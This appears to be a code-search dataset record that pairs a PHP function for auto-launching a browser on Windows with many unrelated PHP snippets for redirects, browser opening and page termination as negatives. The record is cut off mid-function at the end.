protected static function launchBrowser() { if (MHTTPD::$config['Other']['browser_autolaunch']) { $url = MHTTPD::$config['SSL']['enabled'] ? 'https://' : 'http://'; $url .= MHTTPD::$config['Server']['address'].':'.MHTTPD::$config['Server']['port'].'/'; $cmd = 'cmd.exe /C start /B /WAIT PING 127.0.0.1 -n 3 -w 1000 >NUL ' .'& start /B rundll32.exe url.dll,FileProtocolHandler '.$url; $wshShell = new COM('WScript.Shell'); $wshShell->Run($cmd, 0, false); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function openBrowser($url, SymfonyStyle $io) {\n $is_windows = defined('PHP_WINDOWS_VERSION_BUILD');\n if ($is_windows) {\n // Handle escaping ourselves.\n $cmd = 'start \"web\" \"' . $url . '\"\"';\n }\n else {\n $url = escapeshellarg($url);\n }\n\n $is_linux = Process::fromShellCommandline('which xdg-open')->run();\n $is_osx = Process::fromShellCommandline('which open')->run();\n if ($is_linux === 0) {\n $cmd = 'xdg-open ' . $url;\n }\n elseif ($is_osx === 0) {\n $cmd = 'open ' . $url;\n }\n\n if (empty($cmd)) {\n $io->getErrorStyle()\n ->error('No suitable browser opening command found, open yourself: ' . $url);\n return;\n }\n\n if ($io->isVerbose()) {\n $io->writeln(\"<info>Browser command:</info> $cmd\");\n }\n\n // Need to escape double quotes in the command so the PHP will work.\n $cmd = str_replace('\"', '\\\"', $cmd);\n // Sleep for 2 seconds before opening the browser. This allows the command\n // to start up the PHP built-in webserver in the meantime. We use a\n // PhpProcess so that Windows powershell users also get a browser opened\n // for them.\n $php = \"<?php sleep(2); passthru(\\\"$cmd\\\"); ?>\";\n $process = new PhpProcess($php);\n $process->start();\n }", "public function launchApp()\n {\n if ($this->findAppPort()) {\n return;\n }\n\n exec('open ' . self::APP_LAUNCH_URL);\n\n while (!$this->findAppPort()) {\n sleep(2);\n }\n }", "public function testOpenBrowser()\n\t{\n\t\t$this->url('/');//The test page has only phpinfo(); as HTML content\n\t\t$content = $this->byTag('body')->text();\n\t\t// $this->assertEquals('PHP Version 5.6.20-1+deb.sury.org~trusty+1', $content);\n\t\t$this->assertContains('PHP Version 5.6.20-1+deb.sury.org~trusty+1', $content);\n\n\t\t//Simulating and ajax call\n\t\t//Will loop on the callback for 2 seconds before continuing scripts below\n\t\t// $this->timeouts()->implicitWait(300); //milliseconds\n\t\t$this->waitUntil(function(){\n\t\t\ttry{\n\t\t\t\t// $webdriver->byId('rootElement');//select by id\n\t\t\t\t$this->byCssSelector('h1.p');//select by css\n\n\t\t\t\treturn true;\n\t\t\t}catch (Exception $ex){\n\t\t\t\treturn null;\n\t\t\t}\n\t\t}, 2000);//2 seconds\n\t\t//This is run after the waitUntil finished in 2 seconds\n\t\t$content = $this->byCssSelector('h1.p')->text();\n\t\t$this->assertEquals('PHP Version 5.6.20-1+deb.sury.org~trusty+1', $content);\n\n\t}", "function invokeDefaultPage() {\r\n require(\"controllers/IndexController.php\");\r\n $controller = new IndexController();\r\n $controller->index();\r\n }", "protected function openInNewWindow() {}", "function go($url){\n\theader(\"Location: \".$url);\n\texit();\n}", "public function invoke()\r\n\t{\r\n\t\tif(isset($_GET['page']))\r\n\t\t{\r\n\t\t\t$pageName = $_GET['page'];\r\n\t\t\t$this->loadPage($pageName);\r\n\t\t}\r\n\t\telseif(!isset($_GET['page']))\r\n\t\t{\r\n\t\t\t$this->loadPage('home');\r\n\t\t}\r\n\t}", "public function go($url)\r\n {\r\n header('Location: '.$url);\r\n }", "public function launch()\n {\n global $interface;\n global $configArray;\n\n if (isset($_POST['submit'])) {\n $process = $this->_processSubmit();\n }\n\n // Display Page\n if (isset($_GET['lightbox'])) {\n return $this->_processLightbox();\n } else {\n $this->_processNonLightbox();\n }\n }", "public static function goToHome(){\n $protocol = stripos($_SERVER['SERVER_PROTOCOL'],'https') === true ? 'https://' : 'http://';\n $host = $_SERVER['HTTP_HOST'];\n $uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\\\');\n header(\"Location: $protocol$host$uri\");\n \n die();\n }", "static function goToURL($url) {\n header('Location: ' . $url);\n }", "function redirect ($url)\n{\n\t// Behave as per HTTP/1.1 spec for cool webservers\n\theader('Location: ' . $url);\n\n\t// Redirect via an HTML form for un-cool webservers\n\tprint(\n\t\t'<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">'\n\t\t. '<html>'\n\t\t\t. '<head>'\n\t\t\t\t. '<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">'\n\t\t\t\t. '<meta http-equiv=\"refresh\" content=\"0; url=' . $url . '\">'\n\t\t\t\t. '<title>Redirecting...</title>'\n\t\t\t. '</head>'\n\t\t\t. '<body>'\n\t\t\t\t. 'If you are not redirected in 5 seconds, please click <a href=\"' . $url . '\">here</a>.'\n\t\t\t. '</body>'\n\t\t. '</html>'\n\t);\n\t\n\t// Exit\n\texit;\n}", "public function index()\n\t{\n\t\tredirect(base_url(\"index.php\"));\n\t}", "function goToSite() {\n header('Location: index.php?action=start-app');\n\n}", "public function start()\n {\n $this->unvisitedUrl[] = $this->baseUrl;\n $counter = count($this->unvisitedUrl);\n\n while (($counter > 0) && ($url = array_shift($this->unvisitedUrl))) {\n $this->crawl($url);\n\n $counter = count($this->unvisitedUrl);\n }\n }", "function run_background() {\n\t\t$url = $this->dobj->db_fetch($this->dobj->db_query(\"SELECT background_id, url FROM backgrounds WHERE running='f' AND complete IS NULL ORDER BY background_id LIMIT 1\"));\n\t\tif ($url) {\n\t\t\t/* Mark the background as running */\n\t\t\t$data = array();\n\t\t\t$data['running'] = \"t\";\n\t\t\t$save = $this->dobj->db_query($this->dobj->update($data, \"background_id\", $url['background_id'], \"backgrounds\"));\n\t\t\t\n\t\t\t$newurl = explode(\"/\", $url['url']);\n\t\t\t$this->set_this($newurl);\n\t\t\t$_REQUEST['url'] = $url['url'];\n\t\t\t$res = $this->call_function($this->module, \"view_\".$this->action);\n\n\t\t\t$data = array();\n\t\t\t$data['running'] = \"f\";\n\t\t\t$data['complete'] = \"now()\";\n\t\t\t$data['results'] = $res[$this->module]->data;\n\t\t\t$save = $this->dobj->db_query($this->dobj->update($data, \"background_id\", $url['background_id'], \"backgrounds\"));\n\t\t}\n\t\treturn $res;\n\t}", "function ltiLaunchCheck() {\n global $CFG, $PDO;\n if ( ! ltiIsRequest() ) return false;\n $session_id = ltiSetupSession($PDO);\n if ( $session_id === false ) return false;\n\n // Redirect back to ourselves...\n $url = curPageURL();\n $query = false;\n if ( isset($_SERVER['QUERY_STRING']) && strlen($_SERVER['QUERY_STRING']) > 0) {\n $query = true;\n $url .= '?' . $_SERVER['QUERY_STRING'];\n }\n\n $location = sessionize($url);\n session_write_close(); // To avoid any race conditions...\n\n if ( headers_sent() ) {\n echo('<p><a href=\"'.$url.'\">Click to continue</a></p>');\n } else { \n header('Location: '.$location);\n }\n exit();\n}", "function httpd_start()\n {\n\n // Load dependencies\n //------------------\n\n $this->load->library('web_server/Httpd');\n\n try {\n $this->httpd->set_running_state(TRUE);\n $this->httpd->set_boot_state(TRUE);\n if ($this->httpd->get_running_state() != TRUE)\n $this->page->set_message(lang('wpad_unable_start_httpd'), 'warning');\n } catch (Exception $e) {\n $this->page->set_message(clearos_exception_message($e), 'warning');\n }\n\n redirect('wpad');\n }", "public function run()\n {\n $this->browser->open($_ENV['app_frontend_url'] . $this->product->getUrlKey() . '.html');\n }", "function javascript($page,$timeout=null) {\n \n $mytimeout=$timeout?$timeout:100;\n \n $ret = \"\nfunction neu()\n{\t\n\ttop.frames.location.href = \\\"$page\\\"\n}\nwindow.setTimeout(\\\"neu()\\\",$mytimeout);\n\";\n\t \n\t return ($ret);\n }", "public function showMeHtmlPageInBrowser() {\n\n $html_data = $this->getSession()->getDriver()->getContent();\n $file_and_path = '/tmp/behat_page.html';\n file_put_contents($file_and_path, $html_data);\n\n if (PHP_OS === \"Darwin\" && PHP_SAPI === \"cli\") {\n exec('open -a \"Safari.app\" ' . $file_and_path);\n };\n }", "function refreshPage($tiempo,$url)\n{\n print \"<META HTTP-EQUIV=\\\"Refresh\\\" CONTENT=\\\"$tiempo; URL=$url\\\">\";\n if($tiempo==0)\n exit();\n}", "public function index()\n {\n $this->locate(inlink('browse'));\n }", "public function index()\n {\n $this->locate(inlink('browse'));\n }", "public function openUrlWindow($url, $options = 'chrome') {\n $this->callMethod( 'openUrlWindow', array($url, $options) );\n }", "public function goHome()\n {\n $this->redirect(url($this->getHomeUrl()));\n }", "public function Run ($singleFileUrl = FALSE);", "function redirect($url=null)\n\t{\n\t\tif (is_null($url))\n\t\t\t$url = $_SERVER['PHP_SELF'];\n\t\theader(\"Location: $url\");\n\t\texit();\n\t}", "function redirect_to($url = 'index.php')\n\t{\n\t\t$redirect = 'location: ' . $url;\n\t\theader($redirect);\n\t\t\n\t\tdie(); /*halt the execution*/\n\t}", "public function gotoUrlAndExit($url, array $options = [])\n {\n $this->setGotoUrl($url, $options);\n $this->redirectAndExit();\n }", "public static function go(string $filename)\n\t{\n\t\theader(\"Location: \" . $filename);\n\t\texit;\n\t}", "public function gotoUrl($url, array $options = [])\n {\n $this->setGotoUrl($url, $options);\n\n if ($this->getExit()) {\n $this->redirectAndExit();\n }\n }", "public function go_home(){\n\t wp_redirect( home_url() );\n\t exit();\n\t}", "function index(){\n\t\tredirect('');\n\t}", "public static function ForwardTo($url, $delay=0) {\n\t\tif (System::isShell()) {\n\t\t\techo \"--FORWARD: $url\\n\";\n\t\t} else {\n\t\t\tif (\\headers_sent() || $delay > 0) {\n\t\t\t\techo '<header><meta http-equiv=\"refresh\" content=\"'.((int) $delay).';url='.$url.'\"></header>';\n\t\t\t\techo '<p><a href=\"'.$url.'\"><font size=\"+1\">Continue..</font></a></p>';\n\t\t\t} else {\n\t\t\t\t\\header('HTTP/1.0 302 Found');\n\t\t\t\t\\header('Location: '.$url);\n\t\t\t}\n\t\t}\n\t\tExitNow(Defines::EXIT_CODE_OK);\n\t}", "function JumpToPage($pagefile, $args = null)\n{\n global $config;\n $path = $config[\"BaseUrl\"] . $pagefile;\n if(isset($args))\n {\n $first = true;\n foreach($args as $key => $value)\n {\n if($first) { $path = $path . '?'; $first = false; }\n else {$path = $path. '&'; }\n $path = $path . $key . \"=\" . $value;\n }\n }\n \n header(\"Location: \" . $path);\n exit;\n}", "function browser()\n\t{\n\t\tglobal $template, $Sajax, $basic_gui, $mod_loader;\n\t\t\n\t\t// basic thingies for the template\n\t\t$template->assign_block_vars( 'browser', '', array(\n\t\t\t'L_TITLE' => $this->lang[ 'Browser_title' ],\n\t\t\t'L_EXPLAIN' => $this->lang[ 'Browser_explain' ],\n\t\t) );\n\t\t$template->assign_switch( 'browser', TRUE );\n\t\t\n\t\t// get the browser\n\t\t$mods = $mod_loader->getmodule( 'filebrowser', MOD_FETCH_NAME, NOT_ESSENTIAL );\n// \t\t$mod_loader->port_vars( array( 'name' => 'editor1', 'quickpost' => FALSE, 'def_text' => stripslashes( $content ) ) );\n\t\t$mod_loader->execute_modules( 0, 'filebrowser' );\n// \t\t$browser = $mod_loader->get_vars( array( 'bla' ) );\n\t\t\n// \t\tprint_R( $browser );\n\t\t\n\t\t// the sajax stuff\n// \t\t$GLOBALS[ 'acp_advance' ] = &$this;\n// // \t\tprint_R( $GLOBALS );die();\n// \t\t$Sajax->add2export( 'ACP_advance->get_tree', '$folder' );\n// \t\t\n// \t\t// the JS\n// \t\t$basic_gui->add_JS( 'includes/ACP/browser.js' );\n\t}", "function browser( $fileName = false )\r\n\t{\r\n\t //echo SERVICE_BROWSER_PATH;\r\n\t\tif( Configure::read() == 0 )\r\n\t\t{\r\n\t\t\t$this->cakeError('error404');\r\n\t\t}\r\n\r\n\t\tif( $fileName == \"index\" )\r\n\t\t{\r\n\t\t\t$this->autoRender = true;\r\n\t\t\t\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$this->autoRender = true;\r\n\t\t\t$this->view = 'Media';\r\n\r\n\t\t\t$fileName = $this->_checkFile( $fileName );\r\n\r\n\t\t\tif( $fileName === false )\r\n\t\t\t{\r\n\t\t\t\t$this->cakeError('error404');\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$params = array(\r\n\t\t\t\t'id' => $fileName,\r\n\t\t\t\t'name' => pathinfo ( $fileName, PATHINFO_FILENAME ),\r\n\t\t\t\t'download' => false,\r\n\t\t\t\t'extension' => pathinfo( $fileName, PATHINFO_EXTENSION ),\r\n\t\t\t\t'path' => SERVICE_BROWSER_PATH\r\n\t\t \t);\r\n\t \t\r\n\t\t \t$this->set($params);\t\t\t\r\n\t\t}\r\n\t}", "public static function redirect($url)\n {\n echo '<script type=\"text/javascript\">document.location.href=\"' . $url . '\";</script>';\n exit;\n }", "protected function goHomePage()\n {\n $this->_redirect($this->homeURL);\n }", "protected function redirect($url = '')\r\n {\r\n if ($url === '')\r\n {\r\n header('Location: index.php');\r\n }\r\n else\r\n {\r\n header('Location: ' . $url);\r\n }\r\n exit;\r\n }", "function direct($url){\r\n echo \"<script> window.location = '$url'; </script>\";\r\n }", "public static function rendirect($url){\n\t \n\t\t header(\"Location: {$url}\");\n exit;\n\t}", "public function index()\n { \n $this->locate(inlink('browse'));\n }", "function client_redirect($url){\n\t\techo \"<script language=\\\"\\\">\";\n\t\techo \"window.location.href = \\\"\".$url.\"\\\"\";\n\t\techo \"</script>\";\n\t}", "public function script(string $url, int $timer = 0): void {\n $randName = Data::rand()->strLow();\n echo \"<script>\n function redirectForce_{$randName}(url) {\n if (window.console) {\n console.info('Attempt to redirect to:', url);\n console.warn('If you are still here, there is an error in the service.');\n }\n window.location.href = url;\n }\n window.setTimeout(function () {redirectForce_{$randName}(\\\"{$url}\\\")}, {$timer}*1000);\n </script>\";\n }", "function javascript($page,$timeout=null) {\n \n $mytimeout=$timeout?$timeout:$this->timeout; //1 hour plus 1 sec\n \n $ret = \"\nfunction neu()\n{\t\n\ttop.frames.location.href = \\\"$page\\\"\n}\nwindow.setTimeout(\\\"neu()\\\",$mytimeout);\n\";\n\t \n\t return ($ret);\n }", "function Page_Terminate($url = \"\") {\n\tglobal $conn;\n\n\t// Page unload event, used in current page\n\tPage_Unload();\n\n\t// Global page unloaded event (in userfn*.php)\n\tPage_Unloaded();\n\n\t // Close Connection\n\t$conn->Close();\n\n\t// Go to url if specified\n\tif ($url <> \"\") {\n\t\tob_end_clean();\n\t\theader(\"Location: $url\");\n\t}\n\texit();\n}", "function goPageTimer($url, $timer)\n{\n echo '\n <script type=\"text/javascript\">window.setTimeout(\"location=(\\'' . $url . '\\');\",' . $timer . ');</script>\n ';\n}", "function Page_Terminate($url = \"\") {\r\r\tglobal $conn;\r\r\r\r\t// Page unload event, used in current page\r\r\tPage_Unload();\r\r\r\r\t// Global page unloaded event (in userfn*.php)\r\r\tPage_Unloaded();\r\r\r\r\t // Close Connection\r\r\t$conn->Close();\r\r\r\r\t// Go to url if specified\r\r\tif ($url <> \"\") {\r\r\t\tob_end_clean();\r\r\t\theader(\"Location: $url\");\r\r\t}\r\r\texit();\r\r}", "public function default($name_of_page,$action){\r\n\r\n self::get_view($name_of_page,$action);// this function (get_view) talk this parameter and using it to call it in the browser to get main_view page\r\n }", "public static function startPhantomDriver()\n {\n static::$phantomProcess = static::buildPhantomProcess();\n\n static::$phantomProcess->start();\n\n // We wait with execution of the scripts untill we see that the output shows us it's running.\n while( ! str_contains(static::$phantomProcess->getOutput(), 'running on port')){\n sleep(1);\n }\n\n static::afterClass(function () {\n static::stopPhantomDriver();\n });\n }", "function runBackgroundProcess() {\n }", "function Page_Terminate($url = \"\") {\r\n\t\tglobal $conn;\r\n\r\n\t\t// Page unload event, used in current page\r\n\t\t$this->Page_Unload();\r\n\r\n\t\t// Global page unloaded event (in userfn*.php)\r\n\t\tPage_Unloaded();\r\n\r\n\t\t // Close Connection\r\n\t\t$conn->Close();\r\n\r\n\t\t// Go to URL if specified\r\n\t\tif ($url <> \"\") {\r\n\t\t\tob_end_clean();\r\n\t\t\theader(\"Location: $url\");\r\n\t\t}\r\n\t\texit();\r\n\t}", "public function index() {\n\t\t$this->redirect(array('action' => 'home'));\n\t}", "function __invoke() {\n\t\t// The url for the wp-cli repository\n\t\t$repository_url = 'https://github.com/wp-cli/wp-cli';\n\n\t\t// Open the wp-cli page in the browser\n\t\tif ( exec( 'which x-www-browser' ) ) {\n\t\t\tsystem( 'x-www-browser '.$repository_url );\n\t\t}\n\t\telseif ( exec( 'which open' ) ) {\n\t\t\tsystem( 'open '.$repository_url );\n\t\t}\n\t\telse {\n\t\t\tWP_CLI::error( 'No command found to open the homepage in the browser. Please open it manually: '.$repository_url );\n\t\t\treturn;\n\t\t}\n\n\t\tWP_CLI::success( 'The wp-cli homepage should be opening in your browser.' );\n\t}", "protected function gotoHome()\n {\n redirect($this->homePath);\n }", "private function _redirect_to_homepage()\n {\n header(\"Location: /\");\n die();\n }", "function Page_Terminate($url = \"\") {\n\t\tglobal $conn;\n\n\t\t// Page unload event, used in current page\n\t\t$this->Page_Unload();\n\n\t\t// Global page unloaded event (in userfn*.php)\n\t\tPage_Unloaded();\n\n\t\t // Close Connection\n\t\t$conn->Close();\n\n\t\t// Go to URL if specified\n\t\tif ($url <> \"\") {\n\t\t\tob_end_clean();\n\t\t\theader(\"Location: $url\");\n\t\t}\n\t\texit();\n\t}", "function Page_Terminate($url = \"\") {\n\t\tglobal $conn;\n\n\t\t// Page unload event, used in current page\n\t\t$this->Page_Unload();\n\n\t\t// Global page unloaded event (in userfn*.php)\n\t\tPage_Unloaded();\n\n\t\t // Close Connection\n\t\t$conn->Close();\n\n\t\t// Go to URL if specified\n\t\tif ($url <> \"\") {\n\t\t\tob_end_clean();\n\t\t\theader(\"Location: $url\");\n\t\t}\n\t\texit();\n\t}", "function Page_Terminate($url = \"\") {\n\t\tglobal $conn;\n\n\t\t// Page unload event, used in current page\n\t\t$this->Page_Unload();\n\n\t\t// Global page unloaded event (in userfn*.php)\n\t\tPage_Unloaded();\n\n\t\t // Close Connection\n\t\t$conn->Close();\n\n\t\t// Go to URL if specified\n\t\tif ($url <> \"\") {\n\t\t\tob_end_clean();\n\t\t\theader(\"Location: $url\");\n\t\t}\n\t\texit();\n\t}", "function Page_Terminate($url = \"\") {\n\t\tglobal $conn;\n\n\t\t// Page unload event, used in current page\n\t\t$this->Page_Unload();\n\n\t\t// Global page unloaded event (in userfn*.php)\n\t\tPage_Unloaded();\n\n\t\t // Close Connection\n\t\t$conn->Close();\n\n\t\t// Go to URL if specified\n\t\tif ($url <> \"\") {\n\t\t\tob_end_clean();\n\t\t\theader(\"Location: $url\");\n\t\t}\n\t\texit();\n\t}", "function Page_Terminate($url = \"\") {\n\t\tglobal $conn;\n\n\t\t// Page unload event, used in current page\n\t\t$this->Page_Unload();\n\n\t\t// Global page unloaded event (in userfn*.php)\n\t\tPage_Unloaded();\n\n\t\t // Close Connection\n\t\t$conn->Close();\n\n\t\t// Go to URL if specified\n\t\tif ($url <> \"\") {\n\t\t\tob_end_clean();\n\t\t\theader(\"Location: $url\");\n\t\t}\n\t\texit();\n\t}", "public function testExample()\n {\n $this->browse(function ($browser) {\n $browser->clickLink('Homes');\n });\n }", "public function mainscreen()\r\n\t{\r\n\t\t$this->setRedirect( 'index.php?option=com_jblesta&controller=default' );\r\n\t\t$this->redirect();\r\n\t}", "public static function redirect($url) {\n\t\t\techo \"<a href=\\\"./\".$url.\"\\\">Click here to continue.</a>\";\n\t\t\techo \"<script type=\\\"text/javascript\\\">\n\t\t\t<!--\n\t\t\twindow.location = \\\"./\".$url.\"\\\"\n\t\t\t//-->\n\t\t\t</script>\";\n\t\t}", "function redirKill($addr, $rsecs = 0, $estatus = 0) {\r\n\theader(\"refresh:$rsecs; url=$addr\");\r\n\texit(0);\r\n}", "public function redirect($url)\n\t{\n\t\tif (substr($url, 0, 1) == '/') {\n\t\t\theader('Location: ' . $url);\n\t\t} else {\n\t\t\techo \"<script>window.top.location = '\" . $url . \"';</script>\";\n\t\t}\n\t\texit();\n\t}", "public function start(){\n\t\t$type\t =\tstrtolower($this->url[0]);\n\t\t\n\t\t//If no page is specified user is redirected to home\n\t\tif(!isset($type) || null == $type)\n\t\t\t$type\t =\t\"home\";\n\n\t\t/*\n\t\t\tTODO: remove this and just use a file_exists() instead. \n\t\t*/\n\t\t//Scan all controllers\n\t\t$controllers = scandir(\"controller\");\n\t\t\n\t\tunset($controllers['0']); //Removes .\n\t\tunset($controllers['1']); //Removes ..\n\t\t\n\t\t//Checks if controller has active page associated\n\t\tif(!in_array($type, $this->activeControllers)){\n\t\t\t//THROW INACTIVE ERROR PARTY\n\t\t\t$this->state = \"CONTROLLER_INACTIVE\";\n\n\t\t//Checks if controller has a file associated with it\n\t\t}elseif(in_array(strtolower($type) . \"Controller.php\", $controllers)){\n\t\t\t\n\t\t\t//Get and create controller\n\t\t\trequire_once($type . \"Controller.php\");\n\n\t\t\t$controllerName\t\t\t =\tucfirst($type) . \"Controller\";\n\t\t\t$this->pagecontroller \t =\tnew $controllerName($this->url);\n\n\t\t\t$this->state \t\t\t =\t\"DONE\"; //Succesfully iniated requested controller\n\n\t\t//If both conditions fail there is no controller to be found. This is bad.\n\t\t}else{\n\n\t\t\t$this->state = \"CONTROLLER_NOT_FOUND\";\n\t\t}\n\n\t}", "public function go();", "Public function newBrowser(...$args)\r\n {\r\n $config = [];\r\n $name = null;\r\n foreach ($args as $value) {\r\n if ((is_string($value) && trim($value) != \"\") || is_int($value)) $name = $value;\r\n else if (is_array($value)) $config = $value;\r\n }\r\n\r\n if ($name !== null) {\r\n $thisBrowserName = null;\r\n $this->clients['browser'][$name] = &$thisBrowserName;\r\n $this->requests['timer'][$name] = null;\r\n $this->requests['header'][$name] = null;\r\n $this->requests['data'][$name] = null;\r\n $this->requests['error'][$name] = null;\r\n $this->multiFunction->new($name); \r\n } \r\n \r\n $thisBrowserName = new Clue\\React\\Buzz\\Browser($this->loop);\r\n $thisBrowserName = $thisBrowserName->withOptions(array_merge(self::$browserConfig, $config));\r\n\r\n $this->outSystem->stdout(\"Created Browser $name.\", OutSystem::LEVEL_ALL);\r\n return $thisBrowserName;\r\n }", "public function perform()\n\t{\n\t\tprint_r($_SERVER);\n\n\t\texit();\n\t\treturn $this->show();\n\t}", "public function goHome()\n {\n $this->redirect(config('default_module').'/'.config('default_controller').'/'.config('default_action'));\n }", "function execute_in_background($cmd) {\n\tif (substr(php_uname(), 0, 7) == \"Windows\") {\n\t\tpclose(popen(\"start /B \". $cmd, \"r\"));\n\t} else {\n\t\texec($cmd . \" > /dev/null &\");\n\t}\n}", "public function jumpUrl() {}", "private function serveStart()\n {\n if (static::$run) {\n return;\n }\n\n static::$run = true;\n\n print \"Running dev/build...\\n\";\n @exec(\"framework/sake dev/build flush=1 > /dev/null 2> /dev/null\");\n\n print \"Finding open port...\\n\";\n\n while (!$this->addressAvailable($this->getHost(), $this->getPort())) {\n $this->setPort($this->getPort() + 1);\n }\n\n if (!$this->running) {\n $host = $this->getHost();\n $port = $this->getPort();\n\n $hash = spl_object_hash($this);\n\n print \"Starting development server...\\n\";\n $command = \"framework/sake dev/tasks/SilverStripe-Serve-Task hash={$hash} host={$host} port={$port} > /dev/null 2> /dev/null &\";\n\n exec($command, $output);\n\n $command = \"ps -o pid,command | grep {$hash}\";\n @exec($command, $output);\n\n if (count($output) > 0) {\n foreach ($output as $line) {\n $parts = explode(\" \", $line);\n $this->pid[] = $parts[0];\n }\n }\n\n sleep(1);\n }\n }", "function load( $page = 'admin.php'){\n $url = 'http://' . $_SERVER[ 'HTTP_HOST' ] . dirname( $_SERVER[ 'PHP_SELF' ] ) ;\n\n $url = rtrim( $url, '/\\\\' ) ;\n $url .= '/' . $page ;\n \n # Execute redirect then quit.\n session_start();\n\n header( \"Location: $url\" ) ;\n\n exit() ;\n}", "public function index()\n\t{\n\t\t//on récupère l'URL\n\t\t//echo \"on cherche : \".$this->guid;\n\t\t\n\t\t\n\t}", "function open() {\n\t\t//recuperation de la page demande\n\t\tif (!empty($this->client_path_info)) {\n\t\t\t$actions=$this->compile_url($this->client_path_info);\n\t\t\tif (sizeof($actions)==0) { // page par defaut du site\n\t\t\t\t//a remplacer par l'index utilisateur\n\t\t\t\t//BASE_URL\n\t\t\t\t$base_url=CFG::get(\"BASE_URL\",\"Context\");\n\t\t\t\t$url=$base_url.MAIN.\".\".INDEX;\n\t\t\t\t//echo $url;\n\t\t\t\tURL::redirect($url);\n\t\t\t\texit;\n\t\t\t\t\n\t\t\t}\n\t\t\t$this->actions=$actions;\n\t\t} else { //page par defaut du site\n\t\t\t//a remplacer par l'index utilisateur\n\t\t\t$base_url=CFG::get(\"BASE_URL\",\"Context\");\n\t\t\t$url=$base_url.MAIN.\".\".INDEX;\n\t\t\t//echo $url;\n\t\t\tURL::redirect($url);\n\t\t\texit;\n\t\t\t\t\n\t\t}\n\n\t\tif ($this->validate()) {\n\t\t//if (Bleetz::config[\"Auth\"]===true) {//TODO\n\t\t\tif (true) {\n\n\t\t\tUS::checkpoint();\n\n\t\t\tif (!$this->authorize()) {\n\t\t\t\t//perform login\n\t\t\t\t//redirect to login page...\n\t\t\t\t//US::login...\n\t\t\t\t//URL::login...\n\t\t\t\theader('HTTP/1.1 401 Unauthorized');\n\t\t\t\t//ou page de demande de connection ou retour\n\t\t\t\t// exemple : vous n'avez pas accs ˆ la page demandŽe\n\t\t\t\t// connectez vous....\n\t\t\t\tURL::redirect(\"admin.login\");\n\t\t\t\texit;\n\t\t\t};\n\n\t\t\t}\n\t\t} else {\n\t\t\t$this->actions=array();\n\t\t\t//par la suite\n\t\t\t//BZ::E404\n\t\t\tif (!CT::validate_action(E404)) {\n\t\t\t\tER::Report();\n\t\t\t\texit;\n\t\t\t}\n\t\t\t$ar=explode('.',E404);\n\t\t\t$controller=$ar[0];\n\t\t\t$action=$ar[1];\n\t\t\t$this->actions[]=array(\"controller\"=>$controller, \"action\"=>$action, \"case_items\"=>0 );\n/*\n\t\t\tif (!isset($this->admin)) {\n\t\t\t\t//BZ::LoadController(\"admin\");\n\t\t\t\techo CTLPATH;\n\t\t\t\trequire_once CTLPATH.\"admin.php\";\n\t\t\t\t$this->admin=$admin;\t\t\t//\n\t\t\t}\n*/\n\t\t}\n\t}", "public function url($url = null)\n {\n if ($url) {\n $command = $this->getDriver()->factoryCommand('url', WebDriver_Command::METHOD_POST, ['url' => $url]);\n //protect slowest pages and lost selenium connection\n try {\n $this->getDriver()->curl($command);\n } catch (WebDriver_NoSeleniumException $mainException) {\n if (!$this->config()->get(WebDriver_Config::IMPROVED_URL_OPEN)) {\n throw $mainException;\n }\n try {\n $currentUrl = $this->url();\n $partCheck = [PHP_URL_PATH, PHP_URL_QUERY, PHP_URL_HOST];\n $isEqual = true;\n foreach ($partCheck as $urlPart) {\n if (parse_url($url, $urlPart) != parse_url($currentUrl, $urlPart)) {\n var_dump(parse_url($url, $urlPart));\n $isEqual = false;\n }\n }\n if (!$isEqual) {\n throw $mainException;\n }\n } catch (WebDriver_NoSeleniumException $e) {\n throw $mainException;\n }\n }\n } else {\n $result = $this->getDriver()->curl(\n $this->getDriver()->factoryCommand('url', WebDriver_Command::METHOD_GET)\n );\n return $result['value'];\n }\n }", "function background($size){\n header(\"Content-Length: $size\");\n header('Connection: close');\n ob_end_flush();\n ob_flush();\n flush();\n ignore_user_abort(true); //在关闭连接后,继续运行php脚本\n set_time_limit(60*30); //no time limit,不设置超时时间(根据实际情况使用)\n}", "function redirectTo($url = \"\") {\n\tif (empty($url)) $url = $_SERVER['REQUEST_URI'];\n\theader(\"Location: \" . $url);\n\texit();\n}", "public function setGotoUrl($url, array $options = [])\n {\n // prevent header injections\n $url = str_replace([\"\\n\", \"\\r\"], '', $url);\n\n if (null !== $options) {\n if (isset($options['exit'])) {\n $this->setExit(($options['exit']) ? true : false);\n }\n if (isset($options['prependBase'])) {\n $this->setPrependBase(($options['prependBase']) ? true : false);\n }\n if (isset($options['code'])) {\n $this->setCode($options['code']);\n }\n }\n\n // If relative URL, decide if we should prepend base URL\n if (!preg_match('|^[a-z]+://|i', $url)) {\n $url = $this->_prependBase($url);\n }\n\n $this->_redirect($url);\n }", "public function start()\n {\n Console::startProgress(0,100);\n }", "public function start($quiet = FALSE) {\n\t\t$this->action(\"start\", $quiet);\n\t}", "public function index() {\n\t\t$this->redirect(array('action' => 'home'));\n }", "public function openLink($url) {\n $this->callMethod( 'openLink', array($url) );\n }", "public function callPageRunCmd()\n {\n $script = $this->rootDir . '/excmd/asrorz.php';\n $params = 'cores/page/run --app=' . $this->newName;\n $phpcmd = 'php ' . $script . ' ' . $params;\n Az::debug($phpcmd, 'command to launch: ');\n $r = shell_exec($phpcmd);\n Az::debug($phpcmd, 'command executed: ');\n Az::debug($r, 'command result: ');\n }", "public function index()\n\t{\n\t\tif ( $this->auth->check() )\n\t\t{\t\t\n\t\t\t// MUESTRA LA PAGINA\n\t\t\t$this->show_page();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tredirect ( $this->_base_url );\n\t\t}\n\t}", "static function RedirToDefault()\n\t{\n\t\theader(\"Location: \" . $GLOBALS['host'] . self::$subDir . \"/\" . self::$defPage);\n\t}", "function redirect($url, $msg = NULL, $kill = true) {\n\tglobal $pommo;\n\t\t// adds http & baseURL if they aren't already provided... allows code shortcuts ;)\n\t\t// if url DOES NOT start with '/', the section will automatically be appended\n\t\tif (!preg_match('@^https?://@i', $url)) {\n\t\t\tif (strpos($url, $pommo->_baseUrl) === false) { \n\t\t\t\tif (substr($url, 0, 1) != '/') {\n\t\t\t\t\tif ($pommo->_section != 'user' && $pommo->_section != 'admin') 